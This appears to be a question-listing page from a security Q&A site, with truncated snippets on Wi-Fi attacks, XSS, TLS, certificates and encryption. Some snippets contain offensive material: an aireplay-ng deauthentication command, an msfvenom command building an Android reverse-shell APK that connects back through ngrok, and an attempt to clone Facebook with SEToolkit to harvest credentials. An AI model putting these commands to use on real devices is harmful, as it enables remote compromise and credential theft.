All Questions

Filter by
Sorted by
Tagged with
0 votes
0 answers
23 views

Cannot aireplay-ng deauth attack Android 11

I was trying to do a deauth attack on Android 11 phone but it didn't work. I am using sudo aireplay-ng --deauth 100000 -a [AP mac_addr] -c [my mac_addr] wlan0 The access point uses wpa2 encryption, ...
1 vote
1 answer
98 views

Can an email be traced if the account is deleted?

Can the government trace an email that has been sent from an account that is now deleted?
  • 11
1 vote
1 answer
37 views

Privilege Escalation

Suppose I have an Admin account and a normal user account. There is some functionality that is only accessible to the admin only, like promoting other users. In this scenario, I captured a request ...
0 votes
0 answers
33 views

Using WPScan on site where home page is not Wordpress

I have a site that runs off a CMS that isn't WordPress. However, WordPress still exists and I can access /wp-json/wp/v2/media for example, and pass in parameters to bring back what I need it to, and ...
1 vote
1 answer
31 views

Security of Trusty OS (TEE) Non-Secure World API

Recently I learned about TEE in Android, Trusty OS and its internals. I read through the articles on source.android.com and there is one thing I did not find there. Trusty OS has its own API which ...
0 votes
0 answers
25 views

How to detect the IP of a person chatting with me on TELEGRAM [closed]

I tried doing some homework of my own in identifying the live traffic of TELEGRAM, but not very happy, as the objective is to find out who is spamming me live over TELEGRAM and chatting.. What I ...
  • 1
1 vote
1 answer
65 views

Java Cryptography classes - program agnostic usage

We are planning on implementing encryption or digital signatures using any of the available classes provided by the Java Cryptography Architecture (e.g. KeyPair, MessageDigest, Cipher, KeyStore, ...
0 votes
0 answers
12 views

Are there specific cybersecurity things to be aware of before creating a forum site or message board using Google firebase? [closed]

I am an entrepeneur who hires developers on fiverr or upwork to maintain and develop my MVP website (built using Angular). I want the website to develop into a forum/message board. However I want to ...
0 votes
0 answers
22 views

Exploiting a referer open redirect

I wanted to know if it is possible to exploit the fact that in my webapp the Referer header of a request is being reflected in the response. For example: GET /endpoint1 HTTP/2 Host: mysite.com Cookie: ...
0 votes
1 answer
50 views

TLS1.3 using no cipher?

I received a spam text message and interrogated the domain name: $ openssl s_client -servername https://example.com -connect example.com:443 What I want to know, is how likely it is that I should see ...
0 votes
0 answers
13 views

Metasploit: No shell after impersonation with incognito

I've been using metasploit, meterpreter and the incognito extension for a while. However sometimes, after impersonating a user, I cannot open a new shell, no matter how I try to open it (using the ...
  • 1
0 votes
0 answers
32 views

SEToolkit cloned website not harvesting credentials

I am attempting to clone facebook to harvest credentials with SEToolkit. Everything runs but no credentials are harvested and the page never redirects to the real login. I have tried switching the IP ...
0 votes
1 answer
77 views

Facebook rejects a valid DoS'able vulnerability in WhatsApp - what should I do?

I found a vulnerability in WhatsApp which allows the attacker to temporarily lock you out of your account (which results among other things in a loss of productivity e.g. stemming from a loss of the ...
1 vote
1 answer
81 views

How is a XSS attack possible in this context?

I'm testing a website, which is vulnerable to XSS. <input type="hidden" id="referer" name="referer" value="INJECTION_POINT"> <script> document....
  • 11
0 votes
0 answers
25 views

ssh tunnel: listening on the ssh server [migrated]

Here is what I am trying to do: ssh me@server1 4000:server2:4000 With this command, I can connect to server2:4000 by connecting to localhost:4000 What I want to do is to connect on server1:4000 Is ...
  • 29
0 votes
0 answers
26 views

APK reverse shell using ngrok is not creating a session

I am using ngrok for port forwarding (./ngrok tcp 4242) I created a payload using msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk then ...
0 votes
0 answers
59 views

How to find the correspond hash algorithm? [duplicate]

I'm currently working on a project. but i still facing some issue due to some crypted data. i know the plaintext and got the correspond hash. plaintext: C018AE45B37DAE665486F4151E0C1E6F Hash: rROkd+...
0 votes
0 answers
32 views

SSL/x509 certificate/public key expiration [duplicate]

I would like to know the process of how public keys/certificates are renewed for a website. I understand the concept of CA (Certificate Authority) chains, and how the public key/certificate for a site ...
  • 1
1 vote
1 answer
45 views

AEAD: Authenticating a digest of my data instead the data itself

Relevant question for Python: Stack Exchange: https://stackoverflow.com/questions/75739308/aead-authentication-with-huge-input-that-doesnt-fit-into-ram Top Answers: https://topanswers.xyz/python?q=...
0 votes
0 answers
29 views

CRIME and BREACH attacks, HTTP/2 and HTTP/3

I have been reading on CRIME and BREACH attacks and I want to learn better how to protect against them. From what I understood, those attacks require TLS encryption over HTTP compression and HTTP ...
  • 101
1 vote
1 answer
57 views

Website randomly downloading html files to visitors [closed]

Another behaviour I found on a website with malware issues. It keeps downloading random files like one named s2bbGoEJ.html to users computers. It actually tried to automatically download one such file ...
  • 11
0 votes
1 answer
38 views

How to pass authentication to iframe from host app?

I will implement a chat bot web app that can be used on other websites. I plan to to host this app in www.mysite.com and customers will be able display this chat bot inside an iframe on their sites. ...
  • 1
0 votes
0 answers
62 views

Would it be theoretically possible to design a 100% legal ransomware where the user voluntarily chooses to encrypt their files and pay to decrypt them [closed]

Would it be theoretically possible to design a 100% legal ransomware where the user voluntarily chooses to encrypt their files and pay to decrypt them? (Seriously, I always wondered if it was possible!...
0 votes
0 answers
37 views

eSIM/eUICC relay attacks

I'm trying to understand how the eSIM is protected against cloning. Here is the diagram from GSMA standard: Now the ICT operator has its own security domain in which all the GSM related keys ...
  • 39
-1 votes
0 answers
13 views

pick a value from array [migrated]

i have a curl request which fetches response, response comes as plain text, i need to read a value from response. i have used below method it works using ID, i want to use name of field rather than ID ...
3 votes
1 answer
57 views

How can I validate the root DNS key-signing-key on the command line?

Consider the following dig command and its truncated output: dig . dnskey +dnssec +multi @a.root-servers.net ... ... ;; ANSWER SECTION: . 172800 IN DNSKEY 257 3 8 ( ...
0 votes
0 answers
25 views

Bruteforcing AP hotspots with hashcat [closed]

Hackers can crack wpa2 passwords with hashcat. Is this applicable to mobile phone/pc wifi sharing hotspots (adapters)? Can hashcat be used on a mobile phone/pc hotspot?
1 vote
0 answers
19 views

Is SRP/PAKE equivalent to an asymmetric crypto challenge?

As an amateur cryptographer and professional slowpoke, I just learned about SRP (and other PAKE protocols), and my thoughts immediately wandered to asymmetric crypto challenge protocols, like WebAuthn(...
  • 171
0 votes
0 answers
35 views

Nginx server showing malware on http requests [closed]

Rewrote the question again and hope it's clear this time. If anyone points an A record to my server IP using any domain, my server responds with a malware page to the http request made for that domain ...
  • 11
0 votes
1 answer
51 views

Does TLS 1.3 spec include additional privacy controls for avoiding URL category filtering?

I've heard second-hand that the TLS 1.3 spec includes additional functionality to avoid URL category list filtering by firewalls and cloud-based proxies. Is that correct? If so, is there any ...
  • 3,378
2 votes
2 answers
142 views

My web application needs to have my users' private keys to sign documents on their behalf. How do I handle that?

Our web application issues governmental documents for our users. Every one of those documents needs to be signed with a private key. However, because our users find it cumbersome to point their ...
0 votes
0 answers
22 views

How to get the pwned password list under Linux in the aera of 'PwnedPasswordsDownloader'? [closed]

I noticed, that the direct download link to the whole list as an archive has vanished from the page at https://haveibeenpwned.com/Passwords . It now refers to the PwnedPasswordsDownloader git-repo ...
  • 101
1 vote
0 answers
35 views

Decrypting a Base64 ciphertext [duplicate]

I am working on a challenge that includes decrypting a piece of ciphertext. The sample decryption provided is as follows: ...
0 votes
0 answers
44 views

How safe is sharing keyboard mouse between work laptop & my own personal laptop

I'm not at all concerned more about wireless part of security, and I have also read through the risks of wireless MITM which is the least possibility in my scenario. What I need to know is if my work ...
0 votes
0 answers
34 views

Android FBE without screen lock

Is there any difference in the security of a factory reset with FBE (File-Based Encryption) on Android 10+ when not using a screen lock vs. using a screen lock before the factory reset is performed?
0 votes
1 answer
53 views

Is it possible to generate a read-only key for a symmetrical encryption (AES)?

I am working with hardware that can only encrypt with AES. The problem with this is that the message must be publicly verifiable on the blockchain, without the encoding key being exposed. This is the ...
0 votes
0 answers
25 views

What is the best way to protect passwords? [duplicate]

I noticed that I don't use many different passwords for all my stuff, which is very insecure. However, it is also difficult to remember really secure, long passwords which are different for every ...
  • 1
0 votes
0 answers
12 views

How to add Google Authenticator (TOTP) to a Google account? [closed]

I'd like to 2FA with Google Authenticator to my account, but when I want to add 2FA, Google only offers U2F security tokens but no TOTP option. Following the instructions on the official help page, I ...
  • 3,325
0 votes
0 answers
16 views

Google Cloud Functions - discovery and billing attack

Unauthorized HTTPS triggers for Google Cloud Functions are required for external APIs to contact your function. Usually you cannot set a method of authentication relying on IAM for some random unknown ...
  • 153
0 votes
1 answer
61 views

Set cookie inside iFrame domain not seen

I'm trying unsuccessfully to set a cookie in an iframe cross-domain. I've found elsewhere (https://stackoverflow.com/questions/2117248/setting-cookie-in-iframe-different-domain, https://stackoverflow....
0 votes
0 answers
31 views

Weird JS code injected to most of my browser pages [closed]

Does anyone know what this JS code is doing? It keeps getting injected to most of my browser pages I visit. I have tried different browsers (Chrome/Edge), incognito mode, even disabling all extensions....
  • 1
0 votes
0 answers
32 views

Will enabling 4 only mode in a smartphone, prevent hackers from downgrading your connection to 3g/2g

My question is Will enabling 4 only mode in a smartphone, prevent hackers from downgrading your connection to 3g/2g through fake towers.
3 votes
1 answer
48 views

Laptop TPM with physical presence key operations?

It seems most systems have a TPM 2 module in them now, and it seems those modules often have a physical presence pin. Are these pins actually used by any typical laptop manufactures? I have a laptop ...
0 votes
2 answers
63 views

Does a certificate revocation list (CRL) keep it's entries at least as long as the certificate would have been valid?

This question is specifically about certificates that should have had a long lifetime, but were revoked quickly. Is every CRL issued by this CA guaranteed to include its revocation, as long as the ...
  • 3
-1 votes
0 answers
28 views

What are the security risks of storing sensitive documents on your android devices’s external storage?

Documents such as driving license, financial statements etc. with a lot of PII, how big is the risk of storing such type of documents on the shared external storage on android? Assumptions: Android ...
1 vote
1 answer
43 views

Encrypted semantic search

I want to implement semantic search but in an encrypted fashion. For storing passwords, we store Enc(password) in a database, and when a user logs in, we check if Enc(query) == entry in the database. ...
0 votes
0 answers
68 views

Server showing malware on http requests [closed]

If anyone points an A record to my server IP using any domain, my server responds with a malware page to the http request made for that domain if accessed by Google bot and a redirect to my domain if ...
  • 11
0 votes
1 answer
51 views

Is it dangerous to publicly surf the web while my browser is being run in an IDE?

While developing web software, I typically run a browser (chrome) from my IDE. Here's an example launch.json in VSCode: { // Use IntelliSense to learn about possible attributes. // Hover to ...
0 votes
1 answer
54 views

icmp smurf attack

I am learning about ICMP smurf attack and for this, I have forged a packet with the following details: source_mac_address = **??** destination_mac_address = router mac address char ...
14 votes
1 answer
3k views

SSL issue captures Facebook app send out traffic

I tried to capture the send-out traffic of the Android app (Google Drive, Facebook, etc.). This is my security thesis. I succeed capture send-out traffic on the Google Drive app with Mitmproxy but ...

15 30 50 per page